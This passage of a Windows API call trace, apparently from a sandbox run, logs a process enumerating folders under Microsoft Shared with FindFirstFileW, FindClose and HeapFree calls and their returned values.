nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.389] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.389] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0050.389] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.389] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.390] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0050.390] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.390] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.390] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0050.390] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.391] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.391] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0050.391] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.394] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.394] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0050.394] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.394] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.394] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0050.395] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0050.680] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.680] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0050.682] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.684] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.684] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0050.684] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.684] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.685] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0050.685] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.685] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.685] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0050.685] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.685] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.685] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0050.685] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.685] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.685] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0050.685] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.685] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.686] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0050.686] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.686] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.686] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0050.686] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.686] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.686] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0050.686] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.686] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.686] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0050.686] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.687] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.687] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0050.687] FindClose (in: hFindFile=0x5931e0 | out: hFindFile=0x5931e0) returned 1 [0050.687] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3830090 | out: hHeap=0xb80000) returned 1 [0050.687] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*", lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5931e0 [0050.785] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.786] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.786] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0050.786] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.786] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.786] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0050.786] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.786] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.786] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0050.786] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.786] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.786] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0050.786] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.787] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.787] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0050.787] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593260 [0050.912] FindClose (in: hFindFile=0x593260 | out: hFindFile=0x593260) returned 1 [0050.912] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0050.915] FindClose (in: hFindFile=0x5931e0 | out: hFindFile=0x5931e0) returned 1 [0050.915] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0050.929] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\*", lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5931e0 [0050.930] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593260 [0050.930] FindClose (in: hFindFile=0x593260 | out: hFindFile=0x593260) returned 1 [0050.930] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0050.930] FindClose (in: hFindFile=0x5931e0 | out: hFindFile=0x5931e0) returned 1 [0050.930] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0050.930] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\*", lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5931e0 [0050.930] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593260 [0050.930] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*", lpFindFileData=0x2fae77c | out: lpFindFileData=0x2fae77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593220 [0050.931] FindClose (in: hFindFile=0x593220 | out: hFindFile=0x593220) returned 1 [0050.932] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3830090 | out: hHeap=0xb80000) returned 1 [0050.932] FindClose (in: hFindFile=0x593260 | out: hFindFile=0x593260) returned 1 [0050.932] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0050.932] FindClose (in: hFindFile=0x5931e0 | out: hFindFile=0x5931e0) returned 1 [0050.932] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0050.933] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\*", lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5931e0 [0050.933] FindClose (in: hFindFile=0x5931e0 | out: hFindFile=0x5931e0) returned 1 [0050.933] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0050.934] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\*", lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5931e0 [0050.934] FindClose (in: hFindFile=0x5931e0 | out: hFindFile=0x5931e0) returned 1 [0050.934] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0050.934] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\*", lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5931e0 [0050.934] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593260 [0050.935] FindClose (in: hFindFile=0x593260 | out: 